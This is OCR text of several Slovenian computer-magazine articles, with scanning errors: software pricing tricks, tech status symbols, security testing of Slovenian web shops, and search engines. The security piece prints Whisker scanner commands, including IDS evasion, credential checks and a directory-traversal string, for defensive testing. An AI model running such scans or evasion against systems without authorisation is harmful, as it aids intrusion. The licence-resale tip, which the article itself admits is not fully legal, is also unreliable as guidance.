zaboli glava. Je mogoce
legalne cene vsaj nekoliko
znizati in jih narediti
zmernejse?

PiSeta: Marjan Kodelja in Zoran Banovié
marian.kudelia@moimikru.si, zoran.banuvic@moimikru.si

roizvajalci programske opreme zelo ne-

radi priznajo, da je zahtevana cena za

njihovo programsko opremo previso-

ka za vedino svetovnega prebivalstva.
Proizvajalci cenovno politiko sicer prilagajajo
kupni mo&i v posameznih drZavah, a se ta oce-
na v veliki meri nanasa na kupno mo¢ podjetij
v tej drfavi in ne sosedovega Janeza. Zadnji
primer tega je Microsoftov »la%ji« operacijski
sistem Windows XP, namenjen Filipincem.
Da se drugi ne bi preve& razburjali, te razlicice
nimajo nekaterih funkcionalnosti, ki jih imajo
obi¢ajne, a so vseeno Cisto uporabne. A to je
le operacijski sistem. Kaj pa drugi programi? Ti
imajo precej zasoljene cene in le redki domaci
uporabniki si lahko privo$¢ijo nakup res vsega,
kar bi Zeleli uporabljati. Kaj nam torej preos-
tane? Ena mo¥nost je, da poskusimo uveljaviti
tako imenovane Studentske cene, ¢e imamo
v druZini kaksnega ¢lana, ki se Se ali %e Sola.
Ce tega nimamo, lahko poskusimo najti kak
odprtotokodni program, ki ga ni treba placati.
In ¢e oboje odpove, nam preostane le nelegal-
na uporaba. Ali obstaja kak nadin, kako vsaj
zmanjiati stroSek programske opreme, e ga %e
ne moremo izniéiti?

PREK SPLETA CENEJE

Moznosti seveda obstajajo, vendar je treba
malce prestudirati cenovno politiko posa-
meznega proizvajalca. Ti obi¢ajno nagraju-
jejo lojalne uporabnike tako, da jim nakup
nove razli¢ice omogodijo po ni%ji ceni v obliki
nadgradnje stare razli¢ice. To je vecinoma
mogoce tudi v primeru, ko se nova razli¢ica od
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stare bistveno razlikuje, tako da gre za skoraj
nov izdelek. Ce lahko torej nekako pridemo
do stare razli¢ice programa, nam bo nova ce-
novno la%je dosegljiva. Podobno velja tudi za
tako imenovane konkurenéne nadgradnje.
Nekateri proizvajalci ponujajo posebne popus-
te za tiste uporabnike, ki so pripravljeni preiti
z izdelka konkuren¢nega podjetja. Ce na pri-
mer uporabljate program X podjetja Y, lahko
kupite izdelek Z podjetja U, ki je konkurenca
izdelku X, po bistveno ni%ji ceni.

In kako je to videti v praksi? Prejsnji mesec
smo v ¢lanku o programu Photoshop omeni-
li mo¥no blifnjico, ki jo je mo¢ raziriti tudi
na nekatere druge programe. Adobe dovoljuje
nadgradnjo na novo razli¢ico svojega Photo-
shopa, ¢e imate staro do razlitice 5. Slednjo
dobite na eBayu za nekaj evrov, za razli¢ico
6 boste placali malce ve&. Naslednji korak je
seveda nakup nadgradnje, najceneje je zopet
prek interneta in to kar v Adobovi spletni
trgovini. Ker med drfavami ne morete izbrati
Slovenije, vam preostanejo druge iz skupnosti
EU, vendar bodite pozorni, cene so razli¢ne.
Med cenejSimi je recimo Irska, placate s kre-
ditno kartico in uradna razli¢ica najnovejsega
Photoshopa je vaSa. Vse skupaj vas bo stalo
okoli 60 tiso¢akov ali celo manj, kar je bistve-
na razlika glede na uradno ceno pri nas, ki je
krepko nad 200 tisocaki..

V tabeli lahko vidite, zakaj je trik mogo¢.
Razlika med polno ceno in ceno nadgradnje je
drasti¢na, ve¢ kot polovi¢na, hkrati pa je stare
razli¢ice mogoce kupiti preko spleta izredno
ugodno, saj jih prodajalci ne potrebujejo ve&
in bi se jih radi znebili. Hkrati tudi proizvajalec
programa ni oskodovan, bolj so oskodovani le
prodajalci, saj tisti, ki prodaja staro razlicico,
ni ve¢ in ne bo njihov uporabnik, pridobi-

li pa so novega, ki bo tudi v bodoge kupoval
nadgradnje. Da ne bo pomote. Ne govorimo
teoreti¢no, saj smo na primeru prej omenjene-
ga programa trik samo preizkusili. Treba pa je
vedeti, da tak postopek ni najbolj legalen, saj
uporabnik ni kupil programa, ampak le pravico
do njegove uporabe, ki pa je ne sme prodajati.
A tako pa¢ je in po naS§em mnenju je to nepri-
merno »manj nelegalno« od uporabe piratskih
razlicic.

POSTANITE STUDENT

Do ni%jih cen programske opreme so
upravi¢eni tudi Studentje. Termin Student
se da v nekaterih primerih raztegniti na vse
Soloobvezne dr¥avljane. Razlog za obstoj teh
razli¢ic je dokaj preprost. Ponudniki $e kako
dobro vedo, da kar se »Janezek naudi, to Janez
tudi zna«. Velika verjetnost je, da se bodo ti
uporabniki navadili na dolo¢en program in ga
bodo uporabljali pozneje, ko bodo dokoncali
Solanje in bodo postali »polni pla¢niki«. Pri teh
razli¢icah velja prepoved. Student programa ne
sme uporabljati za pridobitno dejavnost, saj
tako kr3i pravila napisana v licen&ni pogodbi.

ALI KUPITE V KOMPLETU

Ko kupujete ratunalnik, digitalni fotoaparat
ali podobno ratunalnitko opremo, se splata
pri izbiri izdelka pogledati, katero programsko
opremo vam v kompletu ponujajo prodajalci.
Tako ne morete dobiti programa, kot je Adobe
Photoshop, lahko pa dobite drugega, ki je prav
tako soliden. Tipi¢en primer so nakupi snemal-
nikov, torej tako imenovanih »pekacev«, kjer
je v kompletu dostikrat tudi program za sne-
manje CD-jev in DVD-jev, ki v polni razli¢ici
stane kar precej. Program Nero celo 60 ali 70
evrov, odvisno od vrste paketa. Podobno velja
tudi za nakup programov, kot je paket MS Of-
fice v kompletu z ratunalnikom. Zastonj ga ne
boste dobili, a vseeno nekoliko ceneje, kot ¢e
bi ga kupili pozneje samostojno.

Na splo$no pa tudi pri nakupu programske
opreme velja preveriti ponudbo v tujini in pri
nas. Dejstvo je, da cene niso enake pri vseh
prodajalcih, pa tudi ne v vseh drfavah. Ce je
mogoce, in e prodajalec v tujini to dovoli, se
splata program kupiti prek spletnih trgovin
tam, kjer je zahtevana cena najni¥ja. PoSiljanje
programa po posti ni tako velik problem, da bi
bila to omejitev pri nakupu. Paziti je treba le
to, da ni morda kupljeni program lokaliziran za
tamkaj3nji trg in bi nam na primer PhotoShop
v nizozem3¢ini povzrocal preved tefav pri upo-
rabi. Zato velja pravilo: & program kupujete
v tujini, kupite standardno anglesko razli¢ico.
Seveda &e vam angles¢ina ne dela tezav.

Program Polna cena Nadgradnja

Adobe PhotoShop CS2| 202.680 57.480

Adobe Acrobat 7 193.080 64,680

Adobe lllustrator CS2 | 199.800 68.280
|



FALICNI SIMBOLI

Avtomobil je za mnoge statusni simbol, ra¢unalnik pa zgolj orodje. Je res tako? Ali
naSega mesta v druzbi ne opredeljujejo tudi racunalniki, mobilni telefoni in nove

naprave zabavne elektronike?

PiSeta: Marjan Kodelja in Zoran Banovié
marjan.kodelja@mojmikro.si, zoran.banovic@mojmikro.si

oglejmo si zastavljeno vprasanje zgolj z

enega zornega kota — denimo Applove-

ga iPoda. Popolnoma jasno je, da je za

njegov prodajni uspeh mo¢no zasluzno
dejstvo, da se je mu je uspelo pozicionirati kot
statusni simbol. »Moram ga imeti, ker ga imajo
vsi, ki kaj pomenijo. No¢em kak¥nega izdelka
,plastik fantastik® iz Tajvana.« V normalnem
razvoju dogodkov, ko bi odlogalo zgolj raz-
merje med ceno in kakovostjo, ki jo omenje-
ni izdelek nesporno ima, nikoli ne bi dosegel
tako ocitno prevladujoega poloZaja na trgu.
Raje bomo torej izbrskali $e nekaj denarja in
kupili iPod, kot da bi §li in kupili funkcional-
no, tehni¢no in kakovostno povsem primerljiv
izdelek, ki je seveda cenejsi. V glavi imamo, da
si z nakupom iPoda ne kupujemo zgolj izdelka,
temved tudi mesto v druzbi, kjer kolikor imas,
toliko veljag. Ce odmislimo na primer nesram-
no drage izdelke zabavne elektronike, ki jih
lahko kupijo zgolj bogati ljudje, je $lo v tem
primeru prvi¢ za vdor statusnega dejavnika na
podro&je racunalnigkih izdelkov, namenjenih
mno%i¢nemu trgu. Zadeva pa se danes le e
stopnjuje.

KAKO HITREGA IMAS?

Status je malo manj, a kljub vsemu priso-
ten, tudi pri nakupu ra¢unalniske opreme. Pri
ratunalnikih statusa ne definira sama oblika
izdelka, ki je v ozadju, temve& gola mo¢. Pri
mladih fantih se %e pojavlja vprasanje, kako
velikega, pardon, kako hitrega ima§. V¢&asih
smo se torej ubadali z vprasanjem, katere cu-
nje obleci, da nas okolica na zavrfe in oznadi
za »$minkerja« ali »frika«, danes pa to vlogo

postopoma prevzemajo domaci raCunalniki.
Pa sploh ni va?no, ali tak§no mo¢ pod pokro-
vom domade zverine potrebujemo (izstopata
zmogljivost procesorja in grafi¢ne kartice) ali
ne, pomembno je, da je bolj8i in mo¢nejsi od
drugih. Ce nam ga uspe $e malce »nafrizira-
ti«, toliko bolje. V&asih smo frizirali Tomosove
mopede, da so bolj »prdeli« in $li par metrov
na uro hitreje od drugih, danes pa mularija fri-
zira radunalnike. Ce kdo meni, da raunalnik

AKTUALNO
Kupujemo poceni? VpraSanje kakovosti

CE GA NIMAM, ME BO DRUZBA ZAVRGLA!

Podoben statusni simbol, &e da pri nekoliko
mlajiih uporabnikih, so igralne konzole. No,
tu je konkurenca dokaj izenalena, &eprav je
Sonyju uspelo svoje konzole veliko bolj vtis-
niti v glave kupcev. PlayStation je zakon! Si-
cer je mogoce najti tudi kaj boljsega, a Sony je
vseeno zakon! In zato sli§imo vrtoglave $tevil-
ke prednarotil, ko izdelka sploh $e ni na trgu.
Spet znani vzorec — moram ga imeti, druga&e
me bo drutba zavrgla. Pa ni vaino, koliko sta-
ne.

Kdor dose¥e, da je njegov izdelek oznacen
za statusni simbol, se lahko v miru »zlekne« v
naslonja¢ in se smeji. In tu je tisti preseZek, ki
definira trzno ceno izdelka.

Vrnimo se malce na iPod. Znano je, da je
tega nameraval pod svojo blagovno znamko tr-
%iti tudi HP, pa je od ideje odstopil. Po nasem

<> VCasih smo se ubadali z vpraSanjem, katere cunje obleci, da nas
okolica na zavrze in oznaci za »Sminkerja« ali »frika«, danes pa to
vlogo postopoma prevzemajo domaci racunalniki.

ni statusni simbol, naj si iz o¢i odstrani konj-
ske planice in pogleda okoli sebe. Se bolj kot
morda lastniki namiznikov, so na status mah-
njeni lastniki prenosnih ra¢unalnikov. Spet
gre za presezek. Racunalnik doma ima %e skoraj
vsak, a prenosnik, to je tisto, kar nas povlece iz
sivega povpredja. Ne verjamete? Poglejte mal-
ce raziskave trga in videli boste, da je ravno
prodaja prenosnikov gonilo. In vseh prenosni-
kov res ne pokupijo tisti, ki brez te lastnosti
prenosnosti ne bi mogli. Veliko jih kupi tudi
zaradi tega, da pokaZejo da so »in«.

KOLIKO MEGAPIK IMA?

Se en izdelek pridobiva te¥o kot statusni sim-
bol, kar v analognih &asih, ni bil - digitalni fo-
toaparat. Tudi pri njem smo spet pri vpra$anju
modi — a to pot v pikah. Kaj se pogovarjamo!?
Koliko megapik ima fotoaparat! Ne morebiti o
optiki, signalnem procesorju in podobno, etudi
je slednje pomembnejse. Pike so dokaj hvale?na
kategorija, saj jih niti razumeti ni treba. Uvelja-
vilo se je razmisljanje, da ve& ko je pik, boljsi je
aparat. In potem gredo s ferrarijen na tr¥nico. ..

mnenju je hitro dojel, da kljub vsemu njegov
izdelek, pa &eprav bo le natisnil svoj logotip
nanj, ne bo Apple. Miselni proces v glavah
kupcev je jasen. Apple pomeni iPod, drugo so
le neki ne tako zanimivi izdelki. Vsi napori,
da bi Appla izrinili, so obsojeni na propad. Ce
seveda konkurenci ne bo uspelo narediti podo-
bno kot on in tudi svoje izdelke pozicionirati
kot statusne simbole.

Smo pa& ovce, ki nasedamo trikom potros-
niske druzbe. Pri statusnih simbolih cena ni v
ospredju, morda se potrudimo in preverimo,
kje je mogode isti izdelek najceneje dobiti, a
Se vedno gre za isti izdelek. Je to dobro? Ni,
a nasprotni argumenti o optimalnih nakupih,
torej kupimo, kar potrebujemo in ni¢ veg, da-
nes zvodenijo v prazno. Bolj smo obremenjeni
z malome$¢ansko miselnostjo, da je vaino le,
kaj o nas mislijo drugi. Kakovost je pri tem na
drugem mestu. Pomembnejse je, da drugi vidi-
jo, kaj imamo.
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KONKRETNO
varnost spletnih aplikacij v Sloveniji: spletni trgovski portali

TESTIRANJE

KORIST ALI NADLOGA?

Nas pregled varnosti spletnih aplikacij nadaljujemo s spletnimi trgovskimi
portali. Ogledali pa si bomo tudi, kako poskrbite za varnost spletnega
streznika. Namen teh ¢lankov je povecati varnost slovenskega spletnega
prostora in opozoriti na varnostne pomanjkljivosti, Se preden bo to
namesto nas storil kdo z nepoStenimi nameni. Neznanje je sovraznik St.1!

PiSe: Tomaz Bratusa
tomaz.bratusa@mojmikro.si

arnost spletnega stre?nika lahko razdelimo v
dve Siroki kategoriji: testiranje streznika na
splosne obcutljivosti in testiranje spletne apli-
kacije. V naSem primeru preverjamo samo var-
nost spletnih aplikacij, zato vam vsekakor priporoca-
mo, da preverite tudi varnost spletnega stre?nika.

SKRB ZA VARNOST SPLETNEGA STREZNIKA

Preden se odlotite za postavitev spletnega
stre?nika v internetu, vam priporo¢am, da za-
gotovite vsaj:

- varno omre#no konfiguracijo: poZarni zid in
druge naprave omejujejo dohodni promet samo
nujno potrebnim priklju¢kom 80 in 443);

- varno konfiguracijo operacijskega sistema:
zlasti prisotnost modernih varnostnih dodatkov,
ki omogocajo preverjanje dostopov in te omeju-
jejo na skrbnike;

- varno konfiguracijo spletnega streznika:
pregledati je treba privzete vradnosti pri cemer
zlasti odstranimo testne datoteke, navodila ipd.
Nato stre?nik za¥enemo pod omejenim uporab-
niskim ra¢unom).

Ta kratek seznam ne pokriva specifikacij
Apache/PHP ali podrobnosti vsake namestitve-
ne postavke IIS-a, a vam lahko kljub temu rabi
kot temelj za izgradnjo varnostno odpornega
spletnega stre?nika.

Spletni stre?niki, kot so Apache, iPlanet in
IIS, namre¢ v svoji evoluciji prehajajo skozi
mnoge revizije in varnostne posodobitve. Za
uspesno odkrivanje varnostnih pomnajkljivosti
spletnega stre?nika pa so napadalcem obicajno
pri roki tudi avtomatizirana orodja, ki so vec-
inoma sestavljena iz dveh delov: skenerja in ka-
taloga. Katalog vsebuje seznam skupnih datotek,
datotek z znanimi pomanjkljivostmi in zbirko iz-
korid¢evalnih scriptov (exploits).

Tako lahko skener varnostnih pomanjkljivosti
spletnega streznika med drugim i§¢e vamostne
kopije datotek in pri tem poskusa izkoristiti ime-
niski prehod, kot je npr. ..%255¢..%255c. Spletni
strezniki namre¢ varnostne kopije datotek pogosto
shranjujejo tako, da npr. default .asp preprosto pre-
imenujejo v default.asp.bak. Tovrstne pomaniklji-
vosti najlafe odpravite z namestitvijo varnostnih

VY

popravkov in ¢is¢enjem imenikov.
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KORISTNO ORODJE WHISKER

Whisker je prvo orodje za preverjanje varno-
sti spletnih streZnikov, ki omogoca tudi izogiba-
nje sistemom IDS. Orodje je pravzaprav eno-
staven skript, napisan v perlu, v katerega lahko
dodajamo sposobnosti odkrivanja novo odkritih
varnostnih pomanjkljivosti ¥e samo z uporabo
urejevalnika besedila.

Osnovna uporaba skenerja Whisker je videti
takole:
$ whisker.pl -h 192.168.2.10 -vv
whisker / v1.4.0+SSL / rain forest puppy / www.
wiretrip.net -( Bonus: Parallel support )

Loaded script database of 2045 lines

= Host: 192.168.42.27

Cookie: PREF=1D=28bd8b28723a3f00:
TM=1014183574:LM=1014183574:S=iaEP-
bCBRdvA

Server: 11S/5.0

+ ZVOO OK: GET /robots.txt

Ce nameravate Whisker uporabiti za en si-
stem, morate uporabiti stikalo —h, medtem ko
lahko s stikalom —H seznam tar¢ pridobite tudi
iz datoteke. Stikalo —vv omogo&a zapisovanje re-
zultatov skeniranja, stikalo —w pa po kon¢anem
skeniranju ustvari ob$irno HTML-porogilo.

Whisker omogoca poleg izogibanja sistemom
IDS tudi skeniranje prek SSL-a, za kar moramo
uporabiti stikalo —x:

$ whisker.pl -x -h 192.168.2.10 -vv -W tee
whisker443 192.168.2.10.html.raw

Dobra stran orodja Whisker je Se zlasti njego-
va prilagodljivost, saj lahko med drugim skeni-
ramo tudi to¢no dolocen tip sistema, ki ga do-
lo¢imo s stikalom —S:

$ whisker.pl -h 192.168.2.10 -vv -W -S
“I1S/5.0”

Zgornji primer prisili Whisker na preverjanje
izklju¢no za IIS specifi¢nih pomanjkljivosti, za-
jetih v njegovi zbirki podatkov. Dokaz za to, da
je Whisker izredno uporabno orodje, je tudi nje-
gova sposobnost preverjanja odpornosti uporab-
niskih imen in gesel z uporabo stikala —a:

$ whisker.pl -h 192.168.2.10 -vv -W -a
“heker:geslo”

Ce pa nameravate preveriti sposobnosti svo-
jega sistema IDS, lahko to storite preprosto z
uporabo stikala —I, kar bo povzro&ilo uporabo
posebej generiranih zahtev URL, s ¢imer bo
Whisker obsel zaznavanje sistemov IDS na pod-

lagi podpisov. Izogibanje sistemom IDS omogo-
&ite takole:

$ whisker.pl -h 192.168.2.10 -vv -W -13

Kot sem Ze veckrat poudaril, je za sisteme IDS
skrajno tezko nadzirati promet SSL, zato napa-
dalci najveckrat posegajo ravno pa tovrstnih
napadih tudi s pomogjo orodij, kot je Whisker.
Ker nam pri testiranju trgovin ni $lo za izogiba-
nje zaznavanja in prikrivanje nase dejavnosti,
smo udeleZence o nasih namerah celo vnaprej
obvestili. Tako kot pri varnostnem testiranju,
opisanem v prej$nji Stevilki Mojega mikra, so se
nekateri odzvali z ogoréenjem, drugi pa z nav-
dusenjem.

REZULTATI

http://www.bauhaus.si/

Spletne trgovine, obarvane rdee, imajo
varnostno pomanjkljive spletne aplikacije,
medtem ko so zeleno obarvane trgovine na
vi§ji stopnji varovanja spletnih aplikacij (red-
no posodabljanje OS-a in aplikacij ter &i¢enje
aplikacij). Druge slovenske spletne trgovine so
nekje v zlati sredini, pri tem pa bi opozoril, da
tovrstne varnostne ocene temeljijo izklju¢no na
varnosti spletne aplikacije. O varnosti celotnega
informacijskega sistema v ozadju lahko tako le
ugibamo.

Veliko spletnih trgovin se je na nase testira-
nje odzvalo izredno pozitivno in so na podlagi
naSega svetovanja pomanjkljivosti nemudoma
odpravile.

Zadnja spletna trgovina s seznama nam te-
stiranja ni dovolila, zato si lahko glede njene
varnosti mnenje ustvarite sami. Kot receno, pa
dvomim, da bi kdorkoli od vas privolil v voznjo
z letalom, katerega proizvajalec poprej ni pristal
v varnostno testiranje. M
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Kaksne so razmere na trgu iskalnikov in imenikov v Sloveniji? Slovenski spletni
uporabniki se morajo zadovoljiti z enim iskalnikom, dvema vecjima imenikoma in
precejSnjim Stevilom man;jSih imenikov, ki z dodatno vsebino iSCejo svoj prostor pod
soncem. Iskalnik Najdi.si je nesporni vladar slovenske spletne scene, Mat’kurja je
zvezda v zatonu, nagrado za vztrajnost in stalno kakovost storitve si zasluzi imenik
Slowwwenia.com, toda kaj, ko mu obisk iz leta v leto vztrajno pada.

PiSe: RadoS Skrt

rados.skri@mojmikro.si

Ker verjetno vsi bralci ne vedo, kakina je
razlika med iskalniki in imeniki, je prav, da Ze
uvodoma razjasnimo nekaj osnovnih pojmov.
Osnovna razlika med iskalniki (search engi-
nes) in imeniki (directories), je v tem, da je
pri imenikih klju¢en ¢lovek v vlogi urednika,
pri iskalnikih pa ra¢unalnik. V primerjavi z
imeniki (npr. Slowwwenia.com, Matkurja),
katerih vsebina se bogati z ro¢nimi vpisi stra-
ni, urednik pa jo pregleda in razvrsti v ureje-
ne kategorije, se podatki v iskalnikih (Najdi.
si) zbirajo s pomo&jo programskih robotov,
ki kri%arijo po spletu in za potrebe iskalnikov
indeksirajo vse spletne dokumente, ki jih naj-
dejo na svoji poti. Ko uporabnik vpise iskalno
frazo v iskalniku, mu ta iz celotne zbirke in-
deksiranih dokumentov na podlagi zapletenih
algoritmov posreduje iskalne zadetke (naslov
strani, kratek opis oz. del besedila z iskano
klju¢no besedo, URL-povezavo) , ki so razvr-
$¢eni po relevantnosti.

Uporabniki lahko tako prek iskalnikov is¢e-
jo po vseh razpolozljivih spletnih straneh, ki
so jih indeksirali iskalni roboti, ne pa samo po
vsebinsko urejenih vpisih spletnih strani, kot
je to obi¢ajno pri imenikih. Slabost imenikov
je ravno v tem, da imajo v zbirki shranjene
samo naslove, opise in klju¢ne besede spletnih
strani, ki so jih posredovali uporabniki. Skrat-
ka, ko uporabnik vpise v iskalno polje iskal-
no frazo, bo iskalnik imenika pregledal samo
besede v naslovu, opisu in klju¢nih besedah,
iskalnik pa bo pregledal celotno besedilo splet-
ne strani. Razlika je ve¢ kot ogitna. Iskalnik
vam bo posredoval veliko ve¢ zadetkov, ki
bodo povrh vsega $e veliko bolj relevantni kot
rezultati iskanj pri imeniku. Dodatna slabost
imenikov je tudi ta, da so podatki o vpisanih
spletnih straneh pogostokrat nea?urni (nede-
lujoce povezave, opisi in naslovi niso vec aktu-
alni oziroma se nanaSajo na vsebino, ki se je Ze
zdavnaj spremenila). Med redkimi prednostmi,
ki jih imajo imeniki pred iskalniki pa izstopata
predvsem veéja urejenost (vse spletne strani
so urejene po kategorijah) vpisanih strani in pa
preglednost izpisanih rezultatov iskanj (vsaka

spletna stran svoj pomenski naslov in opis).
Najve&jo slabost iskalnikov gre iskati v ob-
sefnosti zbranih podatkov, saj se lahko zaradi
samodejnega nacina gradnje v zbirko podatkov
zapiSe ogromno nekoristne vsebine. Iskalniki
pa¢ nimajo uredniskega nadzora tako kot ime-
niki, kjer uredniki pregledajo vsak vpis, ga po
potrebi slovni¢no in vsebinsko popravijo ter
razvrstijo v ustrezno kategorijo. Uredniska po-
litika odlo¢a tudi o tem, kolikokrat bo spletna
stran lahko vpisana v imenik (ali se lahko vpise
samo osnovna stran, ali se lahko vpise neome-

&

jeno Stevilo podstrani) ali se bodo posebej lah-
ko vpisovale in objavljale novosti na spletnih
straneh, kako dolgo se bodo hranili vpisi ipd.

Vpisane spletne strani v imenikih so razvr-
$¢ene po razli¢nih tematskih podro¢jih v ne-
kaj glavnih kategorij in na vedje $tevilo podka-
tegorij (npr. Posel in Gospodarstvo > Finance
in investicije > Banke). Vsaka vpisana spletna
stran ima svoj zapis, ki je opredeljen z naslo-
vom in opisom spletne strani, URL-povezavo
ter klju¢nimi besedami in kontaktnimi poda-
tki, ki pa jih pri pregledovanju imenika oziro-
ma pri izpisu rezultatov iskanj ne vidimo. Ko
smo pri izpisu vpisanih strani, naj povemo, da
lahko uporabniki uporabijo dva natina iskanja
spletnih strani po imeniku, in sicer z iskalni-
kom ali pa se iskanja lotijo tako, da spletne
strani i8¢ejo z brskanjem med razli¢nimi kate-
gorijami in podkategorijami. Tak3no iskanje je
lahko po eni strani precej zabavno, po drugi
strani pa tudi precej zamudno, saj je potrebno
kar nekaj klikov in ¢asa, preden pridemo do
iskane spletne strani (&e sploh).

[skalniki imajo v koli¢ini indeksiranih po-
datkov ogromno prednost pred imeniki, saj
njihovi iskalni roboti neprestano kri%arijo po
spletu in indeksirajo nove strani. Medtem ko je
proces polnjenja zbirke pri iskalnikih samode-
jen, je pri imenikih vse odvisno od dobre volje
posameznikov, ki vpisujejo svoje strani. Zaradi
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hitrega nara3¢anja $tevila strani, je razlika med
iskalniki in imeniku tako vsako minuto ve&-
ja. Vpisane spletne strani v imenikih so tako
samo majhna podmnof¥ica spletnih strani, do
katerih lahko dostopamo prek iskalnikov.

Ce ¥elimo, da je spletna stran vidna v imeni-
ku, jo moramo vanj lastnoro¢no vpisati, ¢e pa
%elimo da bi bila spletna stran sploh indeksira-
na in tako vidna tudi v iskalnikih, je treba po-
skrbeti, da jo bodo pajki iskalnikov sploh lahko
obiskali v celoti. Pri tem si lahko pomagamo z
vpisom strani v najpomembnejse imenike, saj
jo bodo iskalni roboti hitreje nasli ali pa z upora-
bo ustreznih metaoznak, ki so definirane v glavi
dokumenta HMLT spletne strani. Z metaoznako
robots lahko namre¢ povemo iskalnemu robotu,
kaj naj naredi z obiskano stranjo. Ce %elimo, da
robot indeksira nago spletno stran in sledi vsem
povezavam, ki jih najde na strani, uporabimo
ukaza index,follow, ki ju lahko nadomestimo z
ukazom all. Ce za doloten dokument v v strei-
niku, ne %elimo da je dostopen $ir$i javnosti,
uporabimo ukaz none. Delo iskalnih robotov
je tako definirano z naslednjimi ukazi: index —
indeksira in shrani dokument v zbirko; follow —
sledi povezavam; noindex — ne indeksira strani;
nofollow — ne sledi povezavam na strani. Zgled
pravilno zapisane meta oznake bi se tako glasil
<meta name=«robots« content=«all«>.

Ce je na globalnem trgu iskalnikov in ime-
nikov konkurenca zelo ostra (MSN, Google,
Yahoo), pa tega ne bi mogli trditi za Slovenijo,
kjer je Najdi.si dale¢ pred vsemi in pravzaprav
sploh nima resne konkurence. To so potrdili
tudi rezultati leto$njega merjenja obiskanosti
spletnih strani (MOSS), ki je potekalo pod okri-
ljem Slovenske oglasevalske zbornice (SOZ). Po
tem merjenju je Najdi.si s 650.000 uporabniki
dale¢ najbolj obiskana spletna stran v Sloveni-
ji. Mat'kurja je bila med spletnimi stranmi, ki
so sodelovale v raziskavi, na 5. mestu z 18 %
rednih uporabnikov (doseg 210.000). Med-
tem ko se je v zadnjih treh letih Stevilo obis-
kovalcev na Najdi.si ve¢ kot podvojilo (leta
2002 so imeli 282.000 uporabnikov, vir: CATI),
se je Stevilo obiskovalcev Mat'kurje zmanj-
Salo za skoraj 20 %, kar je pomenilo tudi zdrs
na absolutni lestvici, in sicer iz 2. na 5. mesto.
Poleg nespornega kralja Najdi.si in zvezde v zato-
nu Mat'kurje se med elito iskalnikov in imenikov
uvrica le Se 7alska Slowwwenia.com, ki pa iz leto
v leto izgublja mesta na lestvici obiskanosti. Po
podatkih raziskave RIS (www.ris.org) je Sloww-
wenia.com v absolutni konkurenci s 6. mesta
leta 2003 padla na 12. mesto v preteklem letu.
Ali so padanje pri drugem najvedjem slovenskem
imeniku zaustavili ali ne, ne moremo vedeti, saj
se Slowwwenia.com poleg nekaj drugih vegjih
spletnih medijev (Obala.net, RTVSlo.si, SiOL)

letosnje raziskave MOSS ni udele¥ila.
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www.najdi.si

Prednosti: Odlicen iskalnik

Slabosti: Razen kritik, ki letijo na uredniSko politiko in njihov
odnos do strank, jih prakticno ni.

Najdissi je nesporen kralj slovenskega spleta.
Poleg kakovostnega iskalnika, ki med drugim
omogoda iskanje razli¢nih sklonov besed, lahko
uporabniki uporabljajo tudi spletni imenik, ki vse-
buje okoli 41.000 povezav (veliko jih je pridoblje-
nih iz imenika Mat'kurje?!), posiljajo e-vos&ilnice,
pregledujejo male oglase in katalog avtomobilov,
se nasmejijo ob prebiranju $al in gledanju karikatur
itd. Poleg Ye omenjenih iskanj omogoca Najdi.si
tudi iskanje po slikah s spletnih stani, elektronskih
naslovih, iskanje pravnih oseb po poslovnem regi-
stru ter iskanje po aktualnih novicah, ki zdruzujejo
podatke iz najvegjih slovenskih virov, kot so Delo.
si, Dnevnik.si, Vecer.com, 24ur.com in RtvSlo.si.
Novice delujejo tako, da sodelujo¢i mediji izvazajo
svoje vsebine v zapisu RSS ali XML, ki ga vsakih
nekaj minut obif¢e »novicarski pajeke, zapise
nove vsebine (naslov novice, kratek povzetek in
morebitno sliko) ter jih kategorizira v zbirko novic
Najdi.si.

Po dobrih treh letih delovanja na slovenskem
trgu je lani Najdi.si zaCel tudi izva¥ati znanje in
tehnologijo, saj je odprl nov spletni iskalnik na
Hrvagkem, kjer ga je mogoce najti pod imenom
Pogodak.hr. Svojo prisotnost na trgih bivse Ju-
goslavije so razgirili 1. aprila letos, ko je zagela
delovati spletna stran www.pogodak.co.yu, na-
menjena internetnim uporabnikom v Srbiji in
Crni gori. Pri podjetju Novi Forum, ki je lastnik
iskalnika, se pripravljajo tudi na prodor na trge
EU-ja in Jugovzhodne Evrope. Kot je povedala
Ksenja Klepec iz Najdi.si se je vzpostavitev iskal-
nikov v Bolgariji, Romuniji in na Mad?arskem
zaradi razli¢nih dejavnikov prestavila na nasled-
nje leto. »Bomo pa letos startali z iskalnikoma v
Bosni in Makedoniji«, je pojasnila Klep¢eva.

Najdi.si sicer uporablja po ocenah okoli 85
% slovenskih uporabnikov interneta. Mese¢no
beleZijo v povpre&ju 24 milijonov iskalnih poiz-
vedb, dnevno pa okoli 800.000 (dnevni rekord je
bil doseZen 15. marca 2005, ko so zabeleZili 1.07-
6.000 iskan;j. Rekord glede obiskanosti so dosegli
maja letos, ko so imeli v enem dnevu 170.000
razli¢nih obiskovalcev. Od spletnega oglaseva-
nja je imel Najdi.si v preteklem letu okoli 300
milijonov tolarjev prometa, kar je dvainpolkrat
ved kot leta 2003 in trikrat ve& kot v letu 2002.
Po besedah Ksenje Klepec nacrtujejo v letosnjem
letu okoli 600 milijonov tolarjev prometa. Poleg
nesporne kakovosti, ki jo Najdi.si ima, ti¢i velik
del njihovega uspeha tudi v znanju in $tevilu za-
poslenih. Kako konkurirati »Najdiju«, ko pa vsi
njegovi tekmeci ne zaposlujejo skupaj toliko lju-
di, kot jih je na placilnem seznamu pri Najdi.si?
Podjetje Novi Forum ima namre¢ 48 zaposlenih
in 22 honorarnih sodelavcev, od tega jih je 17
zaposlenih pri Najdi.si.
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www.matkurja.com
Priblizno 30.000 vpisov in seznam
vseh organizacij
Prednosti: Najvecii slovenski
spletni imenik
Slabosti: Neenotna grafiéna podoba
Za najstarejsi slovenski imenik bi lahko rekli,
da je kljub prijetni osveZitvi celostne podobe in
veliko ve&ji preglednosti v zadnjih letih nekoli-
ko izgubil kompas. Se pred petimi leti nesporna
Stevilka 1 v Sloveniji, je zdaj je resnici na ljubo
postal pravi kokosnjak najrazli¢nejse vsebine.
Kako se naj izrazimo drugace, ko pa se je Mat-
kurja zaradi sodelovanja s Stevilnimi spletnimi
servisi (mali oglasi — Bolha.com, zmenki — Ona-
on.com, potovanja — Adriatica.net, zaposlitev
— Mojedelo.com, nagradne igre — Cikcak.si,
e-vstopnice — Esiti.com) odrekla svojemu last-
nemu jazu s tem, ko je v svoje spletne strani, ki
so narejene zelo korektno in vie¢no, vkompo-
nirala $est popolnoma razli¢nih oblikovnih po-
